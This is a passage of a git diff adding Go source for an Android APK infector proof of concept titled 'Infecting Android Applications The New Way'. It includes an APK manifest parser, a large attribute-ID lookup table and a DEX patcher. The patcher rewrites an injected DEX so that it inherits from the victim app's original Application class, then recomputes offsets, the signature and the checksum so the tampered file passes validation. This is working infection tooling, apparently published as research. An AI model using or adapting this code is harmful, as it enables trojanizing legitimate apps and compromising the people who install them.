filepath.Abs("AndroidManifest.xml") + +func WriteChanges(raw []byte, path string) { + //Open a new file for writing only + file, err := os.OpenFile( + path, + os.O_WRONLY|os.O_TRUNC|os.O_CREATE, + 0666, + ) + if err != nil { + panic(err) + } + defer file.Close() + + // Write bytes to file + _, err = file.Write(raw) + if err != nil { + log.Panic("Failed to write changes to disk", err) + } +} + diff --git a/Infecting Android Applications The New Way/master/dex/patcher.go b/Infecting Android Applications The New Way/master/dex/patcher.go new file mode 100644 index 0000000..245b26a --- /dev/null +++ b/Infecting Android Applications The New Way/master/dex/patcher.go @@ -0,0 +1,209 @@ +package mydex + +import ( + "bytes" + "common" + "crypto/sha1" + "encoding/binary" + "hash/adler32" + "io/ioutil" + "log" + "manifest" + "path/filepath" + "strings" +) + + +const ( + // DEX structure offsets + fileSizeOff = 0x20 + mapOff = 0x34 + dataSizeOff = 0x68 + signatureOff = 0x20 + checksumOff = 0xc + stringIdsCount = 0x3 //how many stringIds we should change + classDataOffOff = 0xe4 //map->class_def_item->class_data_off + classDataItemOffOff = 0x29c //map->class_data_item->offset + annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item + mapListOffOff = 0x2b4 //map->map_list->offset + posStringIdsChangedOff = 0x84 +) + +// this name is patched so we should make it +// as short as possible +//var placeholder = "La/a/a;" +var placeholder = "Lz/z/z;" +var placeholderLength = len(placeholder) + 1 +var placeholderOff int +var dexPath, _ = filepath.Abs("InjectedApp.dex") +var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex") + +// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files +func patchSignature(data []byte) { + + signature := sha1.Sum(data[signatureOff:]) + + log.Printf("New DEX Signature = %x\n", signature) + + // patch signature + for i := 0; i < 20; i++ { + data[0xc+i] = signature[i] + } +} + +// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption +func patchChecksum(data []byte) { + checksum := adler32.Checksum(data[checksumOff:]) + + log.Printf("New DEX Checksum = %x\n", checksum) + + // patch checksum + binary.LittleEndian.PutUint32(data[0x8:], checksum) +} + +// Yes, dex uses sleb and uleb data types not uint32 +// But we use our predictable DEX so we can ignore it + +// What is changed in DEX after patching parent class? +// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format +/* + header_item->checksum + header_item->signature + header_item->file_size + header_item->map_off + header_item->data_size + string_id_item->string_data_off + map->class_def_item->class_data_off + string_data_item->utf16_size + map->class_data_item->offset + map->annotation_set_item->entries->annotation_off_item + map->map_list->offset + + */ +// Do not forget about alignment of some structures! + +func Patch() { + + data, err := ioutil.ReadFile(dexPath) + if err != nil { + log.Panicf("DEX Failed to read %s", dexPath) + } + + // calc offset to placeholder + placeholderOff = bytes.Index(data, []byte(placeholder)) + + log.Printf("placeholderOff = 0x%x\n", placeholderOff) + + // we should add "L" and ";", and convert "."->"/" to be a normal DEX string + //tmpName := "z.z.zzzzzzzzzzzzzzzz" + oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";" + //oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";" + newAppName := oldAppNameNormalized + "\x00" + + // patch string len (string_data_item->utf16_size) + // -1 - it's a position of len before every string in dex + data[placeholderOff - 1] = uint8(len(oldAppNameNormalized)) + + // how many bytes we added to DEX? + var sizeDiff uint32 + sizeDiff = uint32(len(newAppName) - placeholderLength) + log.Printf("sizeDiff =0x%x", sizeDiff) + + // how many align bytes we should add + var alignCount uint32 + alignCount = 4 - (sizeDiff % 4) + + if alignCount == 4 { + alignCount = 0 + } + log.Printf("alignCount = 0x%x", alignCount) + + // patch mapOff (header_item->map_off) + var oldMapOff uint32 + oldMapOff = binary.LittleEndian.Uint32(data[mapOff:]) + newMapOff := oldMapOff + sizeDiff + alignCount + binary.LittleEndian.PutUint32(data[mapOff:], newMapOff) + log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff) + + // patch datasize (header_item->data_size) + var oldDataSize uint32 + oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:]) + newDataSize := oldDataSize + sizeDiff + alignCount + binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize) + log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize) + + // patch stringIds (string_id_item->string_data_off) + // stringIds - table of offsets to strings + // offsets counted from the start (0x0) + // posStringIdsChangedOff - position in our DEX from which we start changing + + // we hardcoded it because we use our predictable DEX + var oldId uint32 + stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:]) + + j := 0 + + for i := 0; i < stringIdsCount; i++ { + + err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId) + if err != nil { + log.Panic("Failed to read stringId", err) + } + + newId := oldId + sizeDiff + binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId) + j += 4 + } + + // patch map->class_def_item->class_data_off (4 byte) + classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:]) + newClassDataOff := classDataOff + sizeDiff + binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff) + + log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x", + classDataOffOff, classDataOff, newClassDataOff) + + // patch map->class_data_item->offset (dont apply alignment) + classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:]) + newClassDataItemOff := classDataItemOff + sizeDiff + binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff) + log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x", + classDataItemOffOff, classDataItemOff, newClassDataItemOff) + + // patch map->annotation_set_item->entries->annotation_off_item + annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:]) + newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount + binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem) + log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x", + annotationOffItemOff, annotationOffItem, newAnnotationOffItem) + + //patch map->map_list->offset + mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:]) + newMapListOff := mapListOff + sizeDiff + alignCount + binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff) + log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x", + mapListOffOff, mapListOff, newMapListOff) + + // from now we start patching second half of DEX (after array of strings) + // but first we need to insert alignment bytes + if alignCount != 0 { + var alignSlice = make([]byte, alignCount) + var alignPos uint32 = 0x220 + // insert byte alignment + data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...) + } + + // insert new parent application name + data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...) + + // patch new fileSize (header_item->file_size) + var fileSize = uint32(len(data)) + binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize) + + log.Printf("fileSize = 0x%x", fileSize) + + patchSignature(data[0:]) + patchChecksum(data[0:]) + + common.WriteChanges(data, dexPathNew) +} diff --git a/Infecting Android Applications The New Way/master/go.mod b/Infecting Android Applications The New Way/master/go.mod new file mode 100644 index 0000000..8ccaebf --- /dev/null +++ b/Infecting Android Applications The New Way/master/go.mod @@ -0,0 +1,5 @@ +module github.com/thatskriptkid/apk-infector-Archinome-PoC + +go 1.14 + +require golang.org/x/text v0.3.3 // indirect diff --git a/Infecting Android Applications The New Way/master/go.sum b/Infecting Android Applications The New Way/master/go.sum new file mode 100644 index 0000000..fd5b10f --- /dev/null +++ b/Infecting Android Applications The New Way/master/go.sum @@ -0,0 +1,3 @@ +golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= diff --git a/Infecting Android Applications The New Way/master/manifest/apkparser.go b/Infecting Android Applications The New Way/master/manifest/apkparser.go new file mode 100644 index 0000000..4e4cb0f --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/apkparser.go @@ -0,0 +1,174 @@ +// Package apkparser parses AndroidManifest.xml and resources.arsc from Android APKs. +package manifest + +import ( + "common" + "fmt" + "io" + "log" + "os" +) + +type ApkParser struct { + apkPath string + zip *ZipReader + + encoder ManifestEncoder + resources *ResourceTable +} + +// save manifest to disk for binary patching + +func (p *ApkParser) SaveManifestToDisk() { + + file := p.zip.File["AndroidManifest.xml"] + + if file == nil { + fmt.Errorf("Failed to find %s in APK!", "AndroidManifest.xml") + } + + if err := file.Open(); err != nil { + panic(err) + } + defer file.Close() + + // open output file + fo, err := os.Create(common.ManifestBinaryPath) + if err != nil { + panic(err) + } + // close fo on exit and check for its returned error + defer func() { + if err := fo.Close(); err != nil { + panic(err) + } + }() + + // make a buffer to keep chunks that are read + buf := make([]byte, 1024) + for { + // read a chunk + n, err := file.Read(buf) + if err != nil && err != io.EOF { + panic(err) + } + if n == 0 { + break + } + + // write a chunk + if _, err := fo.Write(buf[:n]); err != nil { + panic(err) + } + } +} + +// Calls ParseApkReader +func ParseApk(path string, encoder ManifestEncoder) { + f, zipErr := os.Open(path) + if zipErr != nil { + log.Panic("Failed to open apk") + } + defer f.Close() + + ParseApkReader(f, encoder) +} + +// Parse APK's Manifest, including resolving refences to resource values. +// encoder expects an XML encoder instance, like Encoder from encoding/xml package. +// +// zipErr != nil means the APK couldn't be opened. The manifest will be parsed +// even when resourcesErr != nil, just without reference resolving. +func ParseApkReader(r io.ReadSeeker, encoder ManifestEncoder) { + zip, zipErr := OpenZipReader(r) + if zipErr != nil { + log.Panic("Failed to open zip reader") + } + defer zip.Close() + + ParseApkWithZip(zip, encoder) +} + +// Parse APK's Manifest, including resolving refences to resource values. +// encoder expects an XML encoder instance, like Encoder from encoding/xml package. +// +// Use this if you already opened the zip with OpenZip or OpenZipReader before. +// This method will not Close() the zip. +// +// The manifest will be parsed even when resourcesErr != nil, just without reference resolving. +func ParseApkWithZip(zip *ZipReader, encoder ManifestEncoder) { + apkParser := ApkParser{ + zip: zip, + encoder: encoder, + } + + fmt.Println("\t--Parsing resources...") + apkParser.parseResources() + + fmt.Println("\t--Parsing manifest...") + apkParser.ParseXml("AndroidManifest.xml") + + apkParser.SaveManifestToDisk() + +} + +// Prepare the ApkParser instance, load resources if possible. +// encoder expects an XML encoder instance, like Encoder from encoding/xml package. +// +// This method will not Close() the zip, you are still the owner. +func NewParser(zip *ZipReader, encoder ManifestEncoder) (parser *ApkParser) { + parser = &ApkParser{ + zip: zip, + encoder: encoder, + } + parser.parseResources() + return +} + +func (p *ApkParser) parseResources() { + if p.resources != nil { + log.Panic("resources is not nil") + } + + defer func() { + if r := recover(); r != nil { + log.Panic("recover() not nil") + } + }() + + resourcesFile := p.zip.File["resources.arsc"] + if resourcesFile == nil { + log.Panic("resource.arsc not found") + } + + if err := resourcesFile.Open(); err != nil { + log.Panic("Failed to open resources.arsc: %s", err.Error()) + } + defer resourcesFile.Close() + p.resources = ParseResourceTable(resourcesFile) +} + +func (p *ApkParser) ParseXml(name string) { + + file := p.zip.File[name] + + if file == nil { + log.Panicf("Failed to find %s in APK!", name) + } + + if err := file.Open(); err != nil { + log.Panic("Failed to open manifest") + } + defer file.Close() + + var lastErr error + for file.Next() { + if err := ParseXml(&myReader{r: file}, p.encoder, p.resources); err != nil { + lastErr = err + } + } + + if lastErr == ErrPlainTextManifest { + log.Panic("Manifest in plaintext") + } +} diff --git a/Infecting Android Applications The New Way/master/manifest/attributes.go b/Infecting Android Applications The New Way/master/manifest/attributes.go new file mode 100644 index 0000000..67223bf --- /dev/null +++ b/Infecting Android Applications The New Way/master/manifest/attributes.go @@ -0,0 +1,2471 @@ +package manifest + +// grep 'public static final int [a-zA-Z_]*=0x0101' R.java +func getAttributteName(id uint32) string { + switch id { + case 0x0101006a: + return "absListViewStyle" + case 0x01010380: + return "accessibilityEventTypes" + case 0x01010382: + return "accessibilityFeedbackType" + case 0x01010384: + return "accessibilityFlags" + case 0x010103ee: + return "accessibilityLiveRegion" + case 0x010104d2: + return "accessibilityTraversalAfter" + case 0x010104d1: + return "accessibilityTraversalBefore" + case 0x0101029f: + return "accountPreferences" + case 0x0101028f: + return "accountType" + case 0x0101002d: + return "action" + case 0x0101039b: + return "actionBarDivider" + case 0x0101039c: + return "actionBarItemBackground" + case 0x0101048d: + return "actionBarPopupTheme" + case 0x010102eb: + return "actionBarSize" + case 0x01010388: + return "actionBarSplitStyle" + case 0x010102ce: + return "actionBarStyle" + case 0x010102f4: + return "actionBarTabBarStyle" + case 0x010102f3: + return "actionBarTabStyle" + case 0x010102f5: + return "actionBarTabTextStyle" + case 0x01010431: + return "actionBarTheme" + case 0x01010397: + return "actionBarWidgetTheme" + case 0x010102d8: + return "actionButtonStyle" + case 0x010102d7: + return "actionDropDownStyle" + case 0x010102fb: + return "actionLayout" + case 0x01010360: + return "actionMenuTextAppearance" + case 0x01010361: + return "actionMenuTextColor" + case 0x010102db: + return "actionModeBackground" + case 0x010102f7: + return "actionModeCloseButtonStyle" + case 0x010102dc: + return "actionModeCloseDrawable" + case 0x01010312: + return "actionModeCopyDrawable" + case 0x01010311: + return "actionModeCutDrawable" + case 0x0101047a: + return "actionModeFindDrawable" + case 0x01010313: + return "actionModePasteDrawable" + case 0x0101037e: + return "actionModeSelectAllDrawable" + case 0x01010479: + return "actionModeShareDrawable" + case 0x0101039d: + return "actionModeSplitBackground" + case 0x01010394: + return "actionModeStyle" + case 0x0101047b: + return "actionModeWebSearchDrawable" + case 0x010102f6: + return "actionOverflowButtonStyle" + case 0x01010444: + return "actionOverflowMenuStyle" + case 0x01010389: + return "actionProviderClass" + case 0x010102fc: + return "actionViewClass" + case 0x010102fd: + return "activatedBackgroundIndicator" + case 0x010100ba: + return "activityCloseEnterAnimation" + case 0x010100bb: + return "activityCloseExitAnimation" + case 0x010100b8: + return "activityOpenEnterAnimation" + case 0x010100b9: + return "activityOpenExitAnimation" + case 0x010103e6: + return "addPrintersActivity" + case 0x010100f0: + return "addStatesFromChildren" + case 0x0101011e: + return "adjustViewBounds" + case 0x010103f1: + return "advancedPrintOptionsActivity" + case 0x01010355: + return "alertDialogIcon" + case 0x0101005d: + return "alertDialogStyle" + case 0x01010309: + return "alertDialogTheme" + case 0x0101037a: + return "alignmentMode" + case 0x010102cc: + return "allContactsName" + case 0x01010280: + return "allowBackup" + case 0x01010005: + return "allowClearUserData" + case 0x010103f5: + return "allowEmbedded" + case 0x01010332: + return "allowParallelSyncs" + case 0x01010259: + return "allowSingleTap" + case 0x01010204: + return "allowTaskReparenting" + case 0x010104df: + return "allowUndo" + case 0x0101031f: + return "alpha" + case 0x010101e3: + return "alphabeticShortcut" + case 0x010100ef: + return "alwaysDrawnWithCache" + case 0x01010203: + return "alwaysRetainTaskState" + case 0x010104a5: + return "amPmBackgroundColor" + case 0x010104a4: + return "amPmTextColor" + case 0x010104be: + return "ambientShadowAlpha" + case 0x010101a0: + return "angle" + case 0x010102d5: + return "animateFirstView" + case 0x010102f2: + return "animateLayoutChanges" + case 0x0101025c: + return "animateOnClick" + case 0x010101cd: + return "animation" + case 0x010100ed: + return "animationCache" + case 0x01010112: + return "animationDuration" + case 0x010101ce: + return "animationOrder" + case 0x0101031a: + return "animationResolution" + case 0x0101011a: + return "antialias" + case 0x0101026c: + return "anyDensity" + case 0x010103ed: + return "apduServiceBanner" + case 0x01010211: + return "apiKey" + case 0x010102b4: + return "author" + case 0x01010018: + return "authorities" + case 0x0101030f: + return "autoAdvanceViewId" + case 0x0101006b: + return "autoCompleteTextViewStyle" + case 0x010100b0: + return "autoLink" + case 0x010103ea: + return "autoMirrored" + case 0x01010447: + return "autoRemoveFromRecents" + case 0x010102b5: + return "autoStart" + case 0x0101016a: + return "autoText" + case 0x0101028c: + return "autoUrlDetect" + case 0x010104ee: + return "autoVerify" + case 0x010100d4: + return "background" + case 0x01010032: + return "backgroundDimAmount" + case 0x0101021f: + return "backgroundDimEnabled" + case 0x0101038b: + return "backgroundSplit" + case 0x0101038a: + return "backgroundStacked" + case 0x0101046b: + return "backgroundTint" + case 0x0101046c: + return "backgroundTintMode" + case 0x0101027f: + return "backupAgent" + case 0x010103f2: + return "banner" + case 0x0101031c: + return "baseline" + case 0x01010122: + return "baselineAlignBottom" + case 0x01010126: + return "baselineAligned" + case 0x01010127: + return "baselineAlignedChildIndex" + case 0x0101032b: + return "borderlessButtonStyle" + case 0x010101b0: + return "bottom" + case 0x010100cd: + return "bottomBright" + case 0x010100c9: + return "bottomDark" + case 0x010101ab: + return "bottomLeftRadius" + case 0x010100ce: + return "bottomMedium" + case 0x01010257: + return "bottomOffset" + case 0x010101ac: + return "bottomRightRadius" + case 0x01010304: + return "breadCrumbShortTitle" + case 0x01010303: + return "breadCrumbTitle" + case 0x010104dd: + return "breakStrategy" + case 0x0101014e: + return "bufferType" + case 0x01010107: + return "button" + case 0x0101032f: + return "buttonBarButtonStyle" + case 0x0101048b: + return "buttonBarNegativeButtonStyle" + case 0x0101048a: + return "buttonBarNeutralButtonStyle" + case 0x01010489: + return "buttonBarPositiveButtonStyle" + case 0x0101032e: + return "buttonBarStyle" + case 0x01010048: + return "buttonStyle" + case 0x0101004a: + return "buttonStyleInset" + case 0x01010049: + return "buttonStyleSmall" + case 0x0101004b: + return "buttonStyleToggle" + case 0x0101046f: + return "buttonTint" + case 0x01010470: + return "buttonTintMode" + case 0x01010101: + return "cacheColorHint" + case 0x0101049b: + return "calendarTextColor" + case 0x0101034c: + return "calendarViewShown" + case 0x0101035d: + return "calendarViewStyle" + case 0x010103d8: + return "canRequestEnhancedWebAccessibility" + case 0x010103d9: + return "canRequestFilterKeyEvents" + case 0x010103d7: + return "canRequestTouchExplorationMode" + case 0x01010385: + return "canRetrieveWindowContent" + case 0x01010230: + return "candidatesTextStyleSpans" + case 0x01010169: + return "capitalize" + case 0x010103e8: + return "category" + case 0x010100cc: + return "centerBright" + case 0x0101020b: + return "centerColor" + case 0x010100c8: + return "centerDark" + case 0x010100cf: + return "centerMedium" + case 0x010101a2: + return "centerX" + case 0x010101a3: + return "centerY" + case 0x0101008f: + return "checkBoxPreferenceStyle" + case 0x01010108: + return "checkMark" + case 0x010104a7: + return "checkMarkTint" + case 0x010104a8: + return "checkMarkTintMode" + case 0x010101e5: + return "checkable" + case 0x010101e0: + return "checkableBehavior" + case 0x0101006c: + return "checkboxStyle" + case 0x01010106: + return "checked" + case 0x01010148: + return "checkedButton" + case 0x010103c8: + return "checkedTextViewStyle" + case 0x01010111: + return "childDivider" + case 0x0101010c: + return "childIndicator" + case 0x010103d4: + return "childIndicatorEnd" + case 0x0101010f: + return "childIndicatorLeft" + case 0x01010110: + return "childIndicatorRight" + case 0x010103d3: + return "childIndicatorStart" + case 0x0101012b: + return "choiceMode" + case 0x01010015: + return "clearTaskOnLaunch" + case 0x010100e5: + return "clickable" + case 0x010100ea: + return "clipChildren" + case 0x0101020a: + return "clipOrientation" + case 0x010100eb: + return "clipToPadding" + case 0x01010481: + return "closeIcon" + case 0x01010242: + return "codes" + case 0x0101014b: + return "collapseColumns" + case 0x010104d0: + return "collapseContentDescription" + case 0x010101a5: + return "color" + case 0x01010435: + return "colorAccent" + case 0x01010390: + return "colorActivatedHighlight" + case 0x01010031: + return "colorBackground" + case 0x010102ab: + return "colorBackgroundCacheHint" + case 0x010104e2: + return "colorBackgroundFloating" + case 0x0101042b: + return "colorButtonNormal" + case 0x0101042a: + return "colorControlActivated" + case 0x0101042c: + return "colorControlHighlight" + case 0x01010429: + return "colorControlNormal" + case 0x010104ce: + return "colorEdgeEffect" + case 0x0101038f: + return "colorFocusedHighlight" + case 0x01010030: + return "colorForeground" + case 0x01010206: + return "colorForegroundInverse" + case 0x0101038e: + return "colorLongPressedHighlight" + case 0x01010391: + return "colorMultiSelectHighlight" + case 0x0101038d: + return "colorPressedHighlight" + case 0x01010433: + return "colorPrimary" + case 0x01010434: + return "colorPrimaryDark" + case 0x01010377: + return "columnCount" + case 0x010101cf: + return "columnDelay" + case 0x01010378: + return "columnOrderPreserved" + case 0x01010117: + return "columnWidth" + case 0x01010485: + return "commitIcon" + case 0x01010365: + return "compatibleWidthLimitDp" + case 0x01010172: + return "completionHint" + case 0x01010173: + return "completionHintView" + case 0x01010174: + return "completionThreshold" + case 0x0101001f: + return "configChanges" + case 0x0101025d: + return "configure" + case 0x01010196: + return "constantSize" + case 0x0101025b: + return "content" + case 0x010104b9: + return "contentAgeHint" + case 0x01010290: + return "contentAuthority" + case 0x01010273: + return "contentDescription" + case 0x01010454: + return "contentInsetEnd" + case 0x01010455: + return "contentInsetLeft" + case 0x01010456: + return "contentInsetRight" + case 0x01010453: + return "contentInsetStart" + case 0x010104e7: + return "contextClickable" + case 0x010104ba: + return "country" + case 0x01010123: + return "cropToPadding" + case 0x01010152: + return "cursorVisible" + case 0x010102d2: + return "customNavigationLayout" + case 0x0101033b: + return "customTokens" + case 0x010101d4: + return "cycles" + case 0x010101a7: + return "dashGap" + case 0x010101a6: + return "dashWidth" + case 0x0101002e: + return "data" + case 0x010104ac: + return "datePickerDialogTheme" + case 0x010104b3: + return "datePickerMode" + case 0x0101035c: + return "datePickerStyle" + case 0x01010349: + return "dateTextAppearance" + case 0x01010494: + return "dayOfWeekBackground" + case 0x01010495: + return "dayOfWeekTextAppearance" + case 0x0101000f: + return "debuggable" + case 0x010101ed: + return "defaultValue" + case 0x010101cc: + return "delay" + case 0x010101ec: + return "dependency" + case 0x010100f1: + return "descendantFocusability" + case 0x01010020: + return "description" + case 0x010102a6: + return "detachWallpaper" + case 0x010102a3: + return "detailColumn" + case 0x010102a4: + return "detailSocialSummary" + case 0x0101034e: + return "detailsElementBackground" + case 0x01010102: + return "dial" + case 0x010101f4: + return "dialogIcon" + case 0x010101f7: + return "dialogLayout" + case 0x010101f3: + return "dialogMessage" + case 0x01010091: + return "dialogPreferenceStyle" + case 0x010104d3: + return "dialogPreferredPadding" + case 0x01010308: + return "dialogTheme" + case 0x010101f2: + return "dialogTitle" + case 0x01010166: + return "digits" + case 0x010101d1: + return "direction" + case 0x010103a1: + return "directionDescriptions" + case 0x010101d2: + return "directionPriority" + case 0x010101f1: + return "disableDependentsState" + case 0x01010033: + return "disabledAlpha" + case 0x010102d0: + return "displayOptions" + case 0x0101011c: + return "dither" + case 0x01010129: + return "divider" + case 0x0101012a: + return "dividerHeight" + case 0x0101032c: + return "dividerHorizontal" + case 0x0101032a: + return "dividerPadding" + case 0x0101030a: + return "dividerVertical" + case 0x01010445: + return "documentLaunchMode" + case 0x010100fc: + return "drawSelectorOnTop" + case 0x01010199: + return "drawable" + case 0x0101016e: + return "drawableBottom" + case 0x01010393: + return "drawableEnd" + case 0x0101016f: + return "drawableLeft" + case 0x01010171: + return "drawablePadding" + case 0x01010170: + return "drawableRight" + case 0x01010392: + return "drawableStart" + case 0x010104d6: + return "drawableTint" + case 0x010104d7: + return "drawableTintMode" + case 0x0101016d: + return "drawableTop" + case 0x010100e8: + return "drawingCacheQuality" + case 0x01010263: + return "dropDownAnchor" + case 0x01010283: + return "dropDownHeight" + case 0x01010088: + return "dropDownHintAppearance" + case 0x010102ac: + return "dropDownHorizontalOffset" + case 0x01010086: + return "dropDownItemStyle" + case 0x0101006d: + return "dropDownListViewStyle" + case 0x01010175: + return "dropDownSelector" + case 0x010102d6: + return "dropDownSpinnerStyle" + case 0x010102ad: + return "dropDownVerticalOffset" + case 0x01010262: + return "dropDownWidth" + case 0x010100e9: + return "duplicateParentState" + case 0x01010198: + return "duration" + case 0x01010352: + return "editTextBackground" + case 0x01010351: + return "editTextColor" + case 0x01010092: + return "editTextPreferenceStyle" + case 0x0101006e: + return "editTextStyle" + case 0x0101016b: + return "editable" + case 0x01010224: + return "editorExtras" + case 0x0101045d: + return "elegantTextHeight" + case 0x01010440: + return "elevation" + case 0x010100ab: + return "ellipsize" + case 0x01010158: + return "ems" + case 0x0101000e: + return "enabled" + case 0x010104dc: + return "end" + case 0x0101019e: + return "endColor" + case 0x0101017d: + return "endYear" + case 0x0101030c: + return "enterFadeDuration" + case 0x010100b2: + return "entries" + case 0x010101f8: + return "entryValues" + case 0x0101027d: + return "eventsInterceptionEnabled" + case 0x01010442: + return "excludeClass" + case 0x01010017: + return "excludeFromRecents" + case 0x01010441: + return "excludeId" + case 0x0101044e: + return "excludeName" + case 0x0101030d: + return "exitFadeDuration" + case 0x01010052: + return "expandableListPreferredChildIndicatorLeft" + case 0x01010053: + return "expandableListPreferredChildIndicatorRight" + case 0x0101004f: + return "expandableListPreferredChildPaddingLeft" + case 0x01010050: + return "expandableListPreferredItemIndicatorLeft" + case 0x01010051: + return "expandableListPreferredItemIndicatorRight" + case 0x0101004e: + return "expandableListPreferredItemPaddingLeft" + case 0x0101006f: + return "expandableListViewStyle" + case 0x010102b6: + return "expandableListViewWhiteStyle" + case 0x01010010: + return "exported" + case 0x0101026b: + return "extraTension" + case 0x010104ea: + return "extractNativeLibs" + case 0x010101d3: + return "factor" + case 0x01010278: + return "fadeDuration" + case 0x0101027e: + return "fadeEnabled" + case 0x01010277: + return "fadeOffset" + case 0x010102aa: + return "fadeScrollbars" + case 0x010100df: + return "fadingEdge" + case 0x010100e0: + return "fadingEdgeLength" + case 0x010103e1: + return "fadingMode" + case 0x01010335: + return "fastScrollAlwaysVisible" + case 0x01010226: + return "fastScrollEnabled" + case 0x0101033a: + return "fastScrollOverlayPosition" + case 0x01010337: + return "fastScrollPreviewBackgroundLeft" + case 0x01010338: + return "fastScrollPreviewBackgroundRight" + case 0x010103f7: + return "fastScrollStyle" + case 0x01010359: + return "fastScrollTextColor" + case 0x01010336: + return "fastScrollThumbDrawable" + case 0x01010339: + return "fastScrollTrackDrawable" + case 0x010101bd: + return "fillAfter" + case 0x010104cc: + return "fillAlpha" + case 0x010101bc: + return "fillBefore" + case 0x01010404: + return "fillColor" + case 0x0101024f: + return "fillEnabled" + case 0x0101017a: + return "fillViewport" + case 0x0101011b: + return "filter" + case 0x010102c4: + return "filterTouchesWhenObscured" + case 0x010104e8: + return "fingerprintAuthDrawable" + case 0x010102a7: + return "finishOnCloseSystemDialogs" + case 0x01010014: + return "finishOnTaskLaunch" + case 0x0101033d: + return "firstDayOfWeek" + case 0x010100dd: + return "fitsSystemWindows" + case 0x01010179: + return "flipInterval" + case 0x010100da: + return "focusable" + case 0x010100db: + return "focusableInTouchMode" + case 0x01010343: + return "focusedMonthDateColor" + case 0x010103ac: + return "fontFamily" + case 0x010104b7: + return "fontFeatureSettings" + case 0x0101022f: + return "footerDividersEnabled" + case 0x01010109: + return "foreground" + case 0x01010200: + return "foregroundGravity" + case 0x0101046d: + return "foregroundTint" + case 0x0101046e: + return "foregroundTintMode" + case 0x01010105: + return "format" + case 0x010104d8: + return "fraction" + case 0x010102e3: + return "fragment" + case 0x010104c8: + return "fragmentAllowEnterTransitionOverlap" + case 0x010104c9: + return "fragmentAllowReturnTransitionOverlap" + case 0x010102e7: + return "fragmentCloseEnterAnimation" + case 0x010102e8: + return "fragmentCloseExitAnimation" + case 0x010104c3: + return "fragmentEnterTransition" + case 0x010104c2: + return "fragmentExitTransition" + case 0x010102e9: + return "fragmentFadeEnterAnimation" + case 0x010102ea: + return "fragmentFadeExitAnimation" + case 0x010102e5: + return "fragmentOpenEnterAnimation" + case 0x010102e6: + return "fragmentOpenExitAnimation" + case 0x010104c7: + return "fragmentReenterTransition" + case 0x010104c5: + return "fragmentReturnTransition" + case 0x010104c4: + return "fragmentSharedElementEnterTransition" + case 0x010104c6: + return "fragmentSharedElementReturnTransition" + case 0x0101016c: + return "freezesText" + case 0x010101ca: + return "fromAlpha" + case 0x010101b3: + return "fromDegrees" + case 0x0101044a: + return "fromId" + case 0x010103dd: + return "fromScene" + case 0x010101c6: + return "fromXDelta" + case 0x010101c2: + return "fromXScale" + case 0x010101c8: + return "fromYDelta" + case 0x010101c4: + return "fromYScale" + case 0x010104eb: + return "fullBackupContent" + case 0x01010473: + return "fullBackupOnly" + case 0x010100ca: + return "fullBright" + case 0x010100c6: + return "fullDark" + case 0x01010023: + return "functionalTest" + case 0x0101004c: + return "galleryItemBackground" + case 0x01010070: + return "galleryStyle" + case 0x01010275: + return "gestureColor" + case 0x0101027c: + return "gestureStrokeAngleThreshold" + case 0x0101027a: + return "gestureStrokeLengthThreshold" + case 0x0101027b: + return "gestureStrokeSquarenessThreshold" + case 0x01010279: + return "gestureStrokeType" + case 0x01010274: + return "gestureStrokeWidth" + case 0x01010281: + return "glEsVersion" + case 0x01010482: + return "goIcon" + case 0x010101a4: + return "gradientRadius" + case 0x0101001b: + return "grantUriPermissions" + case 0x010100af: + return "gravity" + case 0x01010071: + return "gridViewStyle" + case 0x0101010b: + return "groupIndicator" + case 0x01010103: + return "hand_hour" + case 0x01010104: + return "hand_minute" + case 0x0101025a: + return "handle" + case 0x01010022: + return "handleProfiling" + case 0x0101025e: + return "hapticFeedbackEnabled" + case 0x010102d3: + return "hardwareAccelerated" + case 0x0101000c: + return "hasCode" + case 0x010104a0: + return "headerAmPmTextAppearance" + case 0x0101012f: + return "headerBackground" + case 0x01010497: + return "headerDayOfMonthTextAppearance" + case 0x0101022e: + return "headerDividersEnabled" + case 0x01010496: + return "headerMonthTextAppearance" + case 0x0101049f: + return "headerTimeTextAppearance" + case 0x01010498: + return "headerYearTextAppearance" + case 0x01010155: + return "height" + case 0x01010443: + return "hideOnContentScroll" + case 0x01010150: + return "hint" + case 0x0101030b: + return 